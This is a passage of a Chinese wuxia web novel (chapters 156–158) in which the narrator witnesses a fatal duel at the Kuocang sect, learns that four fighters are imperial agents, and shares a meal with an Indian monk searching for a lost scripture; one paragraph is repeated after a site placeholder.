说完,我抓住那弟子,三下五除二将他脱了个精光。换上了括苍派的衣服,我仍然觉得不解气,将自己的衣服转手抛入山沟之中,把那么赤身裸体的括苍派弟子留着了天高气阔的青荫之下,满心畅快地向山上走去。 (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百五十六章 红袖 1. 我进去括苍派的时候,括苍派中正是陷入一场巨大的混乱之中。 斗剑场上,括苍派百十名弟子站成两排,各个手持刀剑,面色凝重,如临大敌。陈伯洋站在前段,气息微喘,他穿了一件紫金色的长袍,胸口一滩血迹,阴透长袍,竟显出一片黑紫之色。 四个彪形大汉,一色的土黄色衣衫,并排而立,身材甚是魁梧。陈伯洋矮胖的身躯,在那四人面前,犹如苍松对灌木一般,毫无可比。 “克儿!”陈伯洋向一名匆匆赶来弟子,叫道,“你怎么来了?!” 那名叫“克儿”没有立刻回答,他抽出单刀,凝神戒备,一步一步地挪到陈伯洋跟前,说道:“师父,是云鹤师兄叫我来的。” “你可认得这些人?”陈伯洋问道。 那弟子细细打量了那四人,只见那四人面色两黑两白,髭髯茂盛,各个眉头紧锁,一副副凶神恶煞的模样。他摇头说:“不认得!” “你不认得?!”忽然,一个头发花白的老头从一旁站了出来,喝道,“你倒是推得干净。这四人口口声声说是为你而来,你要如何解释?” “喂!老头!”一个不屑的声音传来,却见是一个身穿黑袍的男子,松松垮垮地站在一旁,冲着那老头说,“我现在就说,我是冲你才来括苍山的,你又要如何解释?” 竟然真的是李小谦!我不动声色,现在人群后面。当时所有的人都凝神戒备着场上的四个彪形大汉,再加上我又恰好穿了一身括苍派的衣服,因此根本没有注意到我。 尽管我已经无比确信李小谦就在括苍山上,但真的当我见到他身穿黑袍出现在我面前时,我的心里还是不由自主的感到一片冰凉。 “放屁!”老头勃然大怒,对着李小谦破口大骂,“你算什么东西,这括苍山上也是你撒野的地方?” “哈哈。”李小谦也不生气,反倒是一副戏谑的表情,说道,“老子不只要撒野,还要撒尿呢!”说罢,他伸手就要解开裤腰。 李小谦此言一出,那老头一张脸憋成了酱紫色。他显然是没有想到李小谦会在众目睽睽之下这样拿他消遣,老者满脸怒气滕然而起,喝道:“你这小子不知天高地厚,老夫先打死你,再跟这四个狂徒仔细理论!” “都给我住口!”陈伯洋大喝一声,吼道,“大敌当前,你要干什么?!” 李小谦仍然是意犹未尽的模样,他刚要开口说话,却有一只手伸出,在他肩头轻轻一按。他回头一看,见陈伯洋微微摇头,他这才强忍怒火,恨恨作罢。 2. “请问四位大哥,有何事找我?”被陈伯洋称作“克儿”的弟子上前问道。 “我叫赵如一,这三位是我的结拜兄弟,钱不二,孙绝三,李得四。”黑脸大汉将他几人一一介绍过,众人听了,都觉得这些名字即奇怪又滑稽,忍不住笑出声来。 赵如一也不放在心上,面色平淡,继续说道:“我兄弟四人从塞北来到中原游玩,前几日因我三弟跟一位姑娘打赌输了,因此答应那姑娘到括苍派解救她的一个好友,名叫吴一克。你可就是?” “是我!”吴一克说道,“我身为括苍派弟子,在括苍山上好好的,不需要你们解救。你们既然受人所托是来找我,为何又要出手伤我师父?” “那姑娘只叫我们前来解救,并没有说过你是括苍派的弟子,你师父师兄又没有向我们说明,我们如何知道?”赵如一说道,“再者说来,即是要我们解救,我们自然是以为你受困于此,他们不肯交人,我们也只好出手了。” “废话少说!既然你来了,就跟我们走吧!”吴一克尚未说话,却听那个叫孙缺三的喊了一声,说罢,大步走上跟前,伸手就要去抓吴一克。 吴一克迅疾向后一躲,顺势长刀一挥。一股刀风从这一挥之间发出,孙缺三大惊,躲闪不及,手掌之上被剑气割了一道口子,登时鲜血涌出。 “哈哈哈......”赵如一大笑道,“我兄弟四人本以为江湖名门括苍派不过是浪得虚名,掌门长老皆是酒囊饭袋,没想到竟藏着如此武功超群的少年,在括苍派中真是可惜,可惜了!” 赵如一这样一说,括苍派众人皆是满脸怒气,每个人的脸上都挂着不服气。虽然是这样,但却没有一个人敢站出来反驳。 那个被李小谦羞辱的老者贴近陈伯洋,附耳说了什么,陈伯洋脸色煞白,捂着胸口一阵剧烈的咳嗽,又有一丝血水从嘴角沁出,看起来伤得不轻。 这时,李得四喊了一声:“别说你们几个人,就是你括苍派几十人一拥而上,我兄弟四人也不再话下,就不要做这些无畏的争斗了。” 赵如一哈哈大笑:“有趣!实在有趣!” “你说有趣,是什么意思?”程文轩大声喝道。 “我兄弟四人生在塞北,初入中原,本想着能见识一下江湖上的高手。方才一战,本来甚是失望,没想到我们要找的人竟然是括苍派最强之人。实在有趣的很。”赵如一笑道,转而望向吴一克,说道,“不如,你与我兄弟们比划比划,倘若你能随便胜了我们其中两人,我们便退下山去,今日之事绝口不提。见到那姑娘,我们只说是能力不及,既然已尽力而为也算不上食言。如何?” 吴一克看了一眼陈伯洋,见他目光凛然,隐隐间又有一丝痛苦之意。他竟然也顾不得陈伯洋同意与否,当下回应道:“一言为定!” “好!很好!”赵如一说道,“三弟,既然是你跟那姑娘打赌输了,这首战,就由你先来吧。” “好!”孙缺三大叫一声,从腰间拔出两截铁质短棍,两根短棍一合,“咔”的一声响,中间机括相接,竟成了一根齐眉棍。孙缺三脚踏踢斗式,长棍呼地往下一拍,破空之声奇响,长棍陡然一挺,在空中戛然而止,铁质长棍远端颤颤,此人劲力之猛,由此可见一斑。 从前,我听八茅师父说过,天下武功源于拳,天下剑法出于棍。这些日子,我经过几次实战之后,虽练得剑法愈发娴熟,对其中的招式转换也有了一些自己体会,但看到这个叫孙缺三的劈空一棍,自己前思后想却也没有一点必胜的把握。 忽然,孙缺三挪展身形、长棍击出。吴一克眉头紧锁,慌忙用刀格挡,“当”的一声脆响,火星四溅。吴一克连连后退,他的刀被那一棍击的不停抖动。 更应当说,是他那只拿刀的手在不住地颤抖。 然而,容不得吴一克丝毫迟疑,孙缺三手中棍影如山,棍势如长虹饮涧,劈空之声呼呼而至,吴一克只顾得左右格挡,丝毫没有还手之机。 “当当当当”一阵密集的铁器撞击之声,吴一克应接不暇,连连后退,额头已冒出汗来,眼看就要陷入败局。 “克儿!快以轻功拉开距离!”陈伯洋一声大叫。吴一克重重点头,猛地向后一仰,身子贴合地面,后脚跟一蹬,“蹭蹭”窜出去数米之远。 孙缺三劲力虽然刚猛,但远不及吴一克灵巧。这向后一撤,虽孙缺三已片刻跟进,但这片刻之机,吴一克已长刀挥出,竟然是三层刀光齐齐发出。 孙缺三大惊,不敢上前,使出粘缠圈转法,长棍抡起圆圈,“当当当”三声,将刀锋挡下。 吴一克这一刀声势虽然唬人,但我可是看得出,其中没有什么力道,只不过是喝退敌手的虚招。 孙缺三大概是也感觉到了这一点,他大叫一声不妙,抬头时,见吴一克已跃然而起,长刀呼呼扇风,遍地狂沙卷起,几乎遮天蔽日一般。 “啊!”吴一克大叫一声,长刀劈空斩下。一道弯月状的刀锋,卷着狂沙飞来。孙缺三奋力抡转长棍,长棍呼呼带风,竟也卷起满地砂石,形成圆盾,将自己的身躯紧紧封住。 “砰!”的一声巨响。 两股巨大的力量猛烈地撞击在一起,天地陡然变色,在场之人,无不为这惊天骇地的气势所震撼得陡然色变。 一时间,拒敌之力若城壁,破敌之势似雷电,两力相较不下,难解难分。 就在两人相持不下的时候,人群之中人影一晃,隐约间我看到一道黑影从人群里飞速闪。只见他翻身一跃,竟跳出数丈之高,以迅雷不及掩耳之势跃到孙缺三身后。 “三弟!小心!”赵如一大惊失色,亮声提醒孙缺三。于此同时,他的手飞快地伸到腰间,摸出暗器,一指连发两道。 “嗖!嗖!” 两把飞刀银光一闪,向着孙缺三身后那人影射去。怎料那人影竟然纹丝不动,任凭短刀穿过,一晃而散。 “啊!” 站在一旁的赵如一兄弟三人同时惊出声来。 我也是大感震惊。那人影竟是虚的,这怎么可能呢? 此时的赵如一已经是万般凄凉。我想,他在发出飞刀的那一刻,怎么也不会想到,会有人以轻功故意放出幻影,引他上当,叫他亲手杀了自己的结拜兄弟。 这样阴损的计谋比那神鬼难测的轻功更让人骇然。 眼看着飞刀直直地冲着孙缺三后心飞去,他毙命之时已就在一发之间。吴一克忽然猛地撤回长刀,将刀“嗖”地射了出去。 “砰,砰”两声,长刀将飞刀击落,斜斜插地地上,深入数寸。 吴一克把刀扔了出去,血肉之躯完全暴露在长棍一下,最可悲的是,孙缺三并没有来得及收手,无数棍影成风,打在吴一克的身上,顷刻间,他遍身鲜血淋漓,惨不忍睹。 吴一克重重地摔在地上,赵钱孙李四人都是尤为惊讶,他们怎么也不会想到,吴一克竟会不顾自己性命,抛出长刀去救下孙缺三。 一时间,这四人羞愧难当,一起动身欲上前查看。 那黑影落定,露出李小谦狡黠地笑脸,他转过身去,看到浑身是血的吴一克正趴在地上如死人一般,他脸色骤变,大叫:“哎呦,我去!这尼玛什么操作!” 那四个汉子正往吴一克靠近,李小谦抢先跳到吴一克身前,挡住赵钱孙李四人,大喝一声,道:“你们卑鄙无耻,暗箭偷袭,还想干什么?!” 赵如一满脸愤怒,他冲着李小谦吼道:“你个奸诈小人,若不是你向暗中偷袭,我怎么会出手伤人?” 李小谦叫道:“老子只是想换个角度看得更清楚一点,什么叫暗中偷袭,你别血口喷人!” 这时,众多括苍派弟子一起向吴一克涌过去,陈伯洋跑在众人之前,抢先托起吴一克上身,他触手之处尽是淋淋鲜血,不知身上多少道伤口。 “小师弟!”一个括苍弟子跪在一旁,两眼泪光莹莹,他看着吴一克晕死过去,遍身血肉模糊一团,脸上的悲痛到了极点。 “怨我!怨我!都怨我!”赵如一悲切道,“我以为他要偷袭我三弟,心急之下才发出飞刀阻拦,没想到这位兄弟竟然如此大义......惭愧,惭愧啊!” 括苍派众人神色各异,有的悲伤,有的愤怒,竟然还有一些事满脸漠然,仿佛是事不关己一样。突然,一直手伸来,把住吴一克脉门,却是那名老者焦急地蹲了下来,他眉头紧锁,摸了半晌,缓缓将手扯开,对着陈伯洋颤声说道:“师兄,节哀吧!” 陈伯洋表情痛苦,有些不愿相信,他说:“克儿年龄虽小,却是我括苍派最有前途的弟子,如今他为我括苍派受此重伤,若能救治,就算让我毁了毕生的功力,我也绝不含糊!” 那老者长叹了一口气,声音悲切,说:“如今他浑身筋骨寸断,五脏六腑皆损,身上又有几道裂口,都是被铁棍震裂,就算是大罗神仙,也回天乏力啦!”说罢,他缓缓闭上双眼,又是一阵摇头叹息,惋惜之情溢于言表。 “老子杀了你们,杀了你们!”李小谦忽地转过身去,一副要与赵钱孙李四人拼命的架势,却被两个括苍派的弟子紧紧抱住,动弹不得。 “我兄弟四人见他武功不凡,兴致突起,本想与他比试,也是想点到为止。没想到,我却一时错失,害了这兄弟。”赵如一沉吟半晌,闭上双眼,毅然说道,“我愿意以命抵命,但愿你们可以饶过我三个弟弟,就此了断这场恩怨。” “你休想!你们四个王八羔子都该死,一个都不能留!”李小谦咬牙切齿地大喊。 可以看得出他与那个叫吴一克的括苍派弟子感情深厚,远比我要深厚得多。 他们到底是什么关系? 李小谦的反应既让我迷惑,又让我凄凉。相识多年,又结拜为兄弟,却从来不见他曾这样对我。 “你们走吧!” 忽然,陈伯洋凄冷地说了一句,口中又喃喃念道:“克儿,为师对不住你,括苍对不住你!”说罢,他缓缓放下吴一克,起身对身后几名弟子说道:“抬他回去吧!” “吴一克兄弟,黄泉路上,我再向你当面谢罪!”忽然,赵如一大喊一声,从腰间拔出飞刀,向着自己脖颈处猛然刺去。 “砰”的一声,钱孙李三人正惊骇间,却是陈伯洋拔出那把金丝缠绕的海皮刀,将赵如一手中的飞刀击落在下来。 “当啷” 飞刀落地,回响清脆。陈伯洋转身而去,幽幽说道:“冤冤相报何时了?克儿既然已死,那便是他气数使然。你们快快离开括苍山吧。” “陈掌门!”李小谦大吼道,“他们可是害死吴一克的凶手啊,不能放他们走!” 陈伯洋却不理他,缓步离开。几名弟子抬着气息奄奄的吴一克,只见他双目紧闭,双手无力的垂下,虽有游丝,却已如死人无异。 赵钱孙李四人面面相觑,无奈、惋惜、悔恨各种情绪交错,终是长长叹息一声,向着李小谦躬身赔礼,纷纷离去。 3. 鲜血未净,人已散去。 我悄悄跟在李小谦的身后,本想找个没有人的地方,当面质问他,为何不辞而别?为何要骗我? 然而,他一直失魂落魄地走在人群之间,丝毫没有给我可以单独与他说话的机会。 当走到一处宽阔的屋子前时,他转身从人群之中走出,兀自走了进去。 我假装整理衣衫,从人群中缓缓脱身。待他们离得远了,我才缓缓靠近那间屋子。 “为什么要放他们走?”屋里传来李小谦不满地质问。 “因为他们是朝廷派来的人。”说话的,是陈伯洋。 我本来想推门进去和李小谦面谈。但听到陈伯洋的声音,推门的手停在半空,又缓缓锤了下去。 “你怎么知道他们是朝廷的人?”李小谦问。 陈伯洋说:“当年,韩世忠将军麾下有四员虎将,其中一人,飞刀绝技名动江湖。后来,韩世忠被皇上罢了兵权,这四人从此便销声匿迹。” 李小谦问:“既然销声匿迹了,你怎么就知道他们就是那四个人?” 陈伯洋说:“前盟主白景行曾对我说过,皇上对他多有猜忌,曾派四人截杀……” 李小谦惊讶地问:“是他们四个?!” 陈伯洋说:“他向我描述的那四人的功夫与今日所见的如出一辙,我因而猜想,赵钱孙李四人应当就是朝廷派到我括苍派打探虚实的。” 李小谦问:“所以……你就故意败给你他们?” 第二卷 武林盟的开始与结局 第一百五十七章 黑脸 1 苏红袖梨花带雨,泪眼婆娑,仿佛是受了极大的委屈一般。 若是以往,我会毫不犹豫地相信这个可怜楚楚的女人。 然而,经历了这么多的欺骗与算计之后,我根本无法轻易相信任何人。但是,我却也不知道如何才能让一个哭哭啼啼的女人止住哭声。 我问赵如一“她说的都是真的吗?” 赵如一面带难色,顾左右而言他,说“话说,今日我们二度相遇乃是天大的缘分,快些坐下来,痛饮两杯,这家酒肆不大,但他家里酿的杏花酒当真是沁人心脾,美妙得很啊。” 我说“韩世忠将军麾下曾有四员猛将,其中一人,飞刀绝技独步天下,就是你吧?” 赵如一愣住了。他眸中闪烁着苦涩的光影,叹息一声,低声说道“陈年旧事,不提也罢。” 我又问“你们曾经奉皇上之命,截杀前任武林盟主白景行,这事也是真的?” 赵如一还没有说话,孙缺三已抢先问道“你,你是怎么知道的?” 他这话等于不打自招。看来我从陈伯洋那里听到的果然没错。 只是我不懂,江湖人尽皆知,白景行曾对皇上有救命之恩,也正因如此,江湖人才相信白景行做了武林盟主可以保江湖平安。 但为什么皇上却又要派人去杀白景行呢? 我想起淮水河上那个被白景行羞辱自尽的刺客,当日白景行就曾说过,他知道是谁指使的。只是,当时那刺客谨守口风,宁死不说,白景行也并没有挑明。如今想来,白景行口中所指的幕后主使,只怕也是皇上吧! 我想起白景行,他虽然极力维护着江湖的存在,却又严令谨守规矩,不与朝廷对抗。他做这个武林的盟主不知比我强出几千几百倍。可是,为什么皇上要对白景行痛下杀手呢?他又为什么会将一无是处的我强推上武林盟主的宝座? 赵如一狠狠地瞪了孙缺三一眼,孙缺三发觉自己又说错了话,连忙抽了自己一个嘴巴子,说“言多必失,我懂,我懂!” 他这一番动作,只会让我更加确定了陈伯洋的话所说非虚。 赵如一已经陷入了崩溃,他一副恨铁不成钢的表情盯着孙缺三,就如当年白景行盯着频不开窍的我一样。 如果赵钱孙李是皇上的人,那么苏红袖呢? 我冷冷一笑,问她“你不会也是皇上的人吧?” 窗外风声呜咽,犹如鬼泣一般。冷风越窗,吹进狭小的客栈,掀动每一个人的衣诀。 苏红袖不再哭泣。她柔和的双眸里,是深邃不见底的黑洞。我看不懂那里面到底隐藏着什么。 苏红袖媚声如故,似水般柔和,却带着让人窒息的压迫,她说“有些事情还是不知道的好。” 寒冬未至,空气却已经降到了冰点。 我说“我懂了。” 苏红袖盈盈带笑,问“盟主懂什么了?” 我其实什么都不懂。也仍旧想不明白这其中千丝万缕的关系。 但我知道,那个高居庙堂的皇上,从来都不放心这个处而远之的江湖。而我,也不过就是他达到某种目的的棋子罢了。所以,我的身边会有柳无风,会有苏红袖,会有武林盟东厢房里那一群如狱卒一般把守的壮汉。 至于他有什么目的,这个目的究竟有没有达成,已经与我无关了。 我冷冷地说了一声“告辞!” 苏红袖紧接着一句“等等”将我拦下,她笑靥如花,媚声问我“盟主大人还让我回武林盟吗?” 我冷冷一笑,说“你随意。”说罢,我转身离开。 苏红袖高兴得抖着身子,就像是发情的母狗见到了雄壮的公犬一般,冲我喊着“小女子在武林盟静候盟主大人。” 那你就候着去吧!我心里想着,这辈子我也不会再回去了。 走出百里香酒肆,四匹骏马被拴在木桩上。秋夜晚风萧瑟,如同夹带着细针一般,卷着沙砾打在人脸上一阵阵的疼。 四匹马似乎是耐不住寒冷的秋风,挤在一起,时不时地抖几下,或者像人冷了跺脚一样,颠一颠马蹄子,给身体输送一些温暖。 这世道,马像人一样,人却像狗一样。 我不禁觉得好像,回头看了一眼苏红袖,她见我蓦然回首,高兴地抖着身子,向我招手,仿佛什么都不曾发生过一样,向我大喊“等你哦!” 我在心里骂她一遍,顺带着也骂了赵钱孙李和那个远在临安的皇上。 九郎剑滑袖而出,顺势被我拉出剑鞘。 剑光一闪。四条栓马的缰绳被我齐齐斩断,我翻身上了一匹白底红斑的马,一扬马鞭。 白马长嘶一声,划破夜空。然后,四匹马一同迈开蹄子,奔去无边无际的黑夜。 孙缺三冲出酒肆大叫“我的马,我的马呀……”声音穿透夜幕,追了我很久,最终被飞扬的马蹄远远地甩在了黑夜里。 2 天亮之时,我已经赶到另外一个镇子——石佛镇。 据说,这里有一座寺庙乃是太祖皇帝赵匡胤下令修建的。寺庙中供奉着一尊石佛,也是太祖皇帝亲命匠人打造。 寺庙名叫石佛寺。 据传,这座石佛寺中供奉着一位来自天竺的高僧。他当年携带一本极为精深奥妙的佛经进献 朝廷,太祖皇帝龙颜大悦,封他为柱国禅师。 后来,不知何故,柱国禅师突然要返回天竺,途径石佛镇是突染重疾,暴毙而亡。 太祖皇帝为了纪念柱国禅师进献佛经的功劳,特命人在他身故之地,建立了这间石佛寺,叫人永远供奉。 这样一座太祖皇帝亲命建造的佛寺,即便不是皇家寺庙,却也应当具有极高的地位。然而,当我站在寺庙前的时候,却发现这座寺庙比起少林寺的破败有过之而无不及。 寺庙的门已经没有了。周围的院墙多数已经塌了,院子里杂草丛生,已被这秋风扫的枯黄一片,十分凄凉。 寺庙中供奉着石佛的大堂已经没了屋顶,满身是灰的黑色佛像沐浴着天光,正对我发出苦涩的笑。 如此凄惨,佛祖都受不了了。 “消~失~猪~” 一个怪异的声音从莫名的方向飘了出来。我四处寻觅,不见人影,不禁心头一惊。心想,以我的耳力,听声辨位不在话下,为何我却分辨不出这声音的来源? “卧~在~你~的~透~顶~上!” 我急忙抬头。只见一副黑脸顶着毛茸茸的卷发带,正趴在光秃秃的房梁上对着我笑,那一口亮白亮白的牙齿与黝黑的脸庞形成了鲜明的对比,就如同是漆黑夜幕中的一轮皎月。 黑脸白牙! 我说“你怎么在这里?” 他翻身跃下,翩然落地,用他那极为怪异的异域口音对我说“我来找东西的。” 我记得他曾经对我说过,他从天竺到大宋来是为了找一本婆叶金身功的秘籍。 而这座石佛寺恰好是太祖皇帝为天竺禅师修建的。他在这里出现,也并不是没有道理。 我问“你找到了吗?” 黑脸白牙双手一摊,白眼一翻,摇头,说道“没有,没有,这里除了草什么也没有。” 他扭头看了一眼院子里的四匹马,它们带我奔跑了一夜,许是已经饥肠辘辘,此刻正在贪婪地啃着满院子的杂草。黑脸白牙叹了口气,说“过一会儿,只怕连草都没有了!” “咕噜咕噜……” 一阵响亮的声音从黑脸白牙的肚子里传来,他尴尬地冲我笑了笑,露出一副闪亮亮的白牙,闲得尤为憨厚。 我笑了,问“你是不是饿了。” 黑脸白牙点了点头,说“你把趣笔阁赶跑了,我没办法挣银子了。”他指着院子里的马又说“我不像它们,我不喜欢吃草。” 我说“那你喜欢吃什么?” 黑脸白牙一咧嘴,皓齿尽现,说“我喜欢吃鸡。” 我说“和尚不是只能吃 素吗?” 黑脸白牙摆了摆手说“天竺的僧人不像你们大宋的僧人一样,我们没有这样的顾虑。” 说着,我忽然感觉自己腹部异常空虚,随即哈哈一笑,抓起黑脸白牙的手臂,说“走,我带你吃鸡!” 3 黑脸白牙走在小镇上,引起了许多人的围观注目。 一个胖乎乎的大婶对着她声旁的另一名大婶小声议论,声音虽小,却仍然被耳朵聪敏的我尽数听到了。 “哎呦,你看看这个是人怎么生的这么黑啊!” “可不是嘛,这要是在晚上扒光了衣裳,只怕连人都找不到!” “不用找他!只要有个长得白净的女人能让他找到就好!” 两个人嘿嘿笑着。 “那还得了。一黑一白,还不得配出个奶牛来……” 一句话,惹得两旁人哈哈大笑。 “他们在笑什么?”黑脸白牙满脸疑惑。 我想了想,不知如何回答他这个问题,便指着我身后白底黑花的那匹马,说“他们在笑这匹马。” 黑脸白牙更疑惑了,问“为什么要笑这匹马?它有什么好笑的?” 我嘿嘿一笑,说“他们在笑它爹。” 黑脸白牙彻底懵了。但他毕竟是佛门弟子,懂得许多精深的佛家道理,对人世间的事也不会如我一样执着。他想不明白的事,便没有再问,而是问了我另外一个问题。 “你一个人为什么牵了四匹马?” 我说“我本来只牵了这匹白马,那三匹马不知为何却跟着一起跑来了。” 黑脸白牙说“我懂了。” 我问“你懂什么了?” 黑脸白牙真诚地对我说“这匹是公马,另外三匹是母马。这边是你们宋人常说的嫁鸡随鸡,驾马随马!” 听起来似乎有那么一些道理。 我点了点头,但却纠正了他的错误,我说“是嫁狗随狗。” 4 我带着黑脸白牙来到小镇上的唯一一家酒楼,名叫七宝阁。 我俩往酒楼门口一站,便有小二从堂里迎了出来。他接过我手上的马绳,准备去接黑脸白牙的马绳时,忽然一愣,随即身上一抖,扔了马绳大叫“娘呀,黑无常索命来了。”说罢,他抱头跑回堂中。 我无奈地摇了摇头,自己两四匹马拴在门口,带着黑脸白牙走了进去。店老板蹲在柜台后面,犹豫了半晌,最终是颤颤巍巍地走了出来,问道“客,客官,有何吩咐?” 我说“你们这里有什么好饭菜?” 店老板小心翼翼地问“客官是来吃饭的?” 我说“是 。” 店老板拍了拍胸脯,瞥了一眼黑脸白牙,说“不来索命便好。”说罢,他引着我们走到一方木桌前,为我们斟满茶水,一番客套之后,将店小二招呼过来伺候,自己扭身走了。临走时,他又瞥了一眼黑脸白牙,喃喃念道“还有长得如此黑的人,真是怪胎。” 黑脸白牙也不生气,冲我嘿嘿一笑,白牙刺目,让我一阵恍惚。我说“别笑了。你要吃些什么?” 黑脸白牙憨厚地回答“你不是要请我吃鸡吗?我吃鸡!” 我问店小二“你们这里有什么好饭菜?” 店小二目光正凝视着黑脸白牙出神,被我陡然一问,一阵恍惚,连忙回答“小店名叫七宝阁,有七样拿手好菜。” 我问“有鸡吗?” 店小二眼睛咕噜一转,小声说“客官,往东七家铺子处有一条胡同,从胡同向南尽头有座宅院,门前六盏红灯齐挂,那是小镇有名的暗门子,里面国色天香……” 我打断他,说“我这位兄弟要吃鸡肉。” 店小二恍然大悟,脸颊一红,笑道“小的多嘴。小店花雕醉鸡做得最好,乃是上好的陈年花雕腌制,味道绝美,乃小店七宝之一。” 我说“好。就要这个。另配两样小菜,快些上饭,我们饿了。” 店小二应了一声,快步离去。临走时,仍旧好奇地又望了黑脸白牙一眼。 黑脸白牙正百无聊赖地扣着手指缝隙里污泥,指甲被他清理过之后,竟然奇特得显出一丝粉色。 我问“江湖再遇实属缘分,不知兄弟如何称呼?” 黑脸白牙一怔,问“你是问我的名字吗?” 我说“不错。” 黑脸白牙说“我叫夏尔马。” 我郑重抱拳,说“夏兄,幸会!” 黑脸白牙却摇了摇头,说“错了,错了,我不姓夏。” 我不解,问“那你姓什么?” 黑脸白牙说“我姓沃尔马。” 我的脑海登时一片混乱。 5 无论他姓什么,也无论他叫什么。他都是我此生所见之人中,唯一一个不觉得我名字好笑的人。 不仅是没有笑,而且真诚地告诉我,他觉得我的名字并不好笑。 这一句话,让我对他的好感又多了几分。 我问夏尔马“你要找的经书还没有找到吗?” 夏尔马忧伤起来,他说“踏破铁鞋无觅处。” 我说“你找到了?” 他说“没有。” 我疑惑,问“那你为什么说踏破铁鞋无觅处?” 他伸出脚,一双破烂 不堪的鞋底上竟然真的是一副铁打的底板,他说“铁鞋都踩破了,也没有找到。这句话不是这样理解吗?” 一瞬间,我竟然无力反驳。这个异域人,竟然将大宋的语言玩弄得炉火纯青,让我汗颜。 我岔开话题,问“你为什么一定要找那本经书?” 夏尔马凑到我身边,神神秘秘地说“这是佛门的秘密,本来不可以外传。但看在你请我吃鸡的份上,我便偷偷告诉你吧。” 我呵呵一笑,心想,一只鸡便可以收买了,这秘密想必也不怎么值钱。 然而,当夏尔马将这秘密向我和盘托出的时候,我觉发现这却真是一个耸人听闻的大秘密。 夏尔马告诉我。当年,天竺为增进两地佛道交流,派沽烨法师为使来大宋进献婆叶金身功,换取天竺僧人在大宋境内传道授业,普度众生的机会。 太祖皇帝将婆叶金身功视为瑰宝,藏于皇宫之内。并封沽烨法师为柱国禅师,允许他在大宋弘扬佛法。 然而,皇宫敬奉佛堂的僧侣中,有一和名叫法明的和尚。他 稍后替换… 无论他姓什么,也无论他叫什么。他都是我此生所见之人中,唯一一个不觉得我名字好笑的人。 不仅是没有笑,而且真诚地告诉我,他觉得我的名字并不好笑。 这一句话,让我对他的好感又多了几分。 我问夏尔马“你要找的经书还没有找到吗?” 夏尔马忧伤起来,他说“踏破铁鞋无觅处。” 我说“你找到了?” 他说“没有。” 我疑惑,问“那你为什么说踏破铁鞋无觅处?” 他伸出脚,一双破烂不堪的鞋底上竟然真的是一副铁打的底板,他说“铁鞋都踩破了,也没有找到。这句话不是这样理解吗?” 一瞬间,我竟然无力反驳。这个异域人,竟然将大宋的语言玩弄得炉火纯青,让我汗颜。 我岔开话题,问“你为什么一定要找那本经书?” 夏尔马凑到我身边,神神秘秘地说“这是佛门的秘密,本来不可以外传。但看在你请我吃鸡的份上,我便偷偷告诉你吧。” 我呵呵一笑,心想,一只鸡便可以收买了,这秘密想必也不怎么值钱。 (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百五十八章 危急 1. 金刚伏魔功。 这个名字我曾在少林寺圆智的口中听到过。虽然,我不知道其中发生了什么,但我知道,它或许就在圆通的手中。 只是,圆通现在已经消失得无影无踪,根本无处寻觅。 我问夏尔马:“你有没有去少林寺找过?” 夏尔马咀嚼着满嘴的鸡肉,含混不清地说:“去过了。少林寺已经没有了。而且,婆叶金身功两百多年前就已经不再少林寺了。” 我说:“不可能。它应当在圆通那里。” 夏尔马.眼中亮光一闪,问:“圆通是谁?他在哪里?” 我摇了摇头,说:“不知道。” 夏尔马又塞了一块醉鸡入口,熟练地吐出了骨头,说:“当年沽烨法师把婆叶金身功抢了出来,早已经不知去向了。” 我问:“他为什么要抢婆叶金身功?” 夏尔马使劲嚼了两口,凑到我跟前小声地说:“这是另外一个秘密。” 我问:“什么秘密?” 夏尔马煞白的眼珠子在黑眼眶中一转,低声说道:“沽烨法师来大宋的时候,拿错秘籍了。把一本摩诃钵特摩咒当成婆叶金身功送给了大宋皇帝。那是一本八寒地狱的极寒内功,是天竺佛教的禁书,无论什么人练了都会疯掉。” “我靠!”我实在忍不住了,叫道,“这么重要的书都能拿错!这也太儿戏了!” 夏尔马一摊手,说:“我也是这么认为的,但是事情就是这样,作为后人,我无权评论。” 我问:“那你们为什么到了两百多年以后才来找那本书?” 夏尔马说:“因为三年前才发现摩诃钵特摩咒找不到了,查了半年多才发现是被沽烨法师带到了大宋。我们本来以为是沽烨法师故意这么做的,但昨日我在石佛寺找到了沽烨法师的遗书,才知道他当年是拿错了书。” 我说:“所以当年沽烨法师在少林寺抢走了那本书?” 夏尔马点头,说:“对。沽烨法师发现自己拿错了书,去找大宋皇帝索要,但大宋皇帝不相信他,少林寺也不相信他。所以他就把那本书抢了出来,想送回天竺。结果,半路上,他就被少林金刚十八罗汉打死了。沽烨法师临死之前,将那本书藏了起来,但是我不知道他藏在了什么地方。” 难怪石佛寺这样一家地位堪比皇家寺院的古寺庙会破败到今天这个地步。或许当年太祖皇帝不满沽烨法师抢走婆叶金身功,但又不愿被人知道秘籍失窃,所以对外声称他是突染重疾,暴毙而亡,并象征性地盖了一间寺庙以掩人耳目罢了。 我说:“你这样找,无异于.大海捞针。” 夏尔马义正言辞地对我说:“那也要找。摩诃钵特摩咒太厉害了,不能落到别人手中。” 我突发奇想,问:“如果你这辈子都找不到呢?” 夏尔马怔怔地看着我,表情十分真挚,坚定地说:“下辈子我再来找。” 我笑着说:“佛祖教人放下妄想执着,你执念太重了。” 夏尔马说:“我这是渡世间苦厄,是修行,不是执念。” 2. 绍兴十五年八月末。 管天下控制了整个江西。经过两个月的平叛,朝廷大军已被打得消散殆尽,但令人震惊的是,各地文武官员却颇有气节,没有一人投靠管天下。 遥想当年,金兵南下之时,不知有多少人不羞外辱,易帜倒戈。靖康之变过去不过二十年,朝廷的官员似乎突然有了骨气。 还是他们自心里都瞧不起管天下,也如陈伯洋那样,相信管天下不过是一帮贼寇,难成大器? 虽说如此,朝廷上下已成了热锅上的蚂蚁。皇上连颁两道诏旨,命福州安抚使薛弼就地组织军队,阻挡管天下大军南下。 民间传言,薛弼接到圣旨之后,当即呈疏奏报,管天下之祸乃有人暗中挑拨,请求朝廷下旨招安,并严查严办肇事之人。 薛弼疏中所指的肇事之人,无疑便是我。 当我听到这个传言的时候,几乎慌乱到了极点。我隐约感觉到,前方将有一场不小的灾祸正等待着我。或许,只有用我的性命,才能平息这场动.乱。 可是......凭什么? 我不禁觉得可笑、愤怒、委屈......管天下造反不过是迟早之事,而我不过是早些捅开了这层窗纸,使管天下逼不得已提前动手而已。 我到达陆家山庄的时候,已是九月初。 这时的天气,白日里还有些闷热,一到夜间,山风凛冽而寒冷,如冰魄刺骨,让人难堪忍受。 我将夏尔马带到了陆家山庄。 我告诉他,在这里或许会有婆叶金身功的消息。 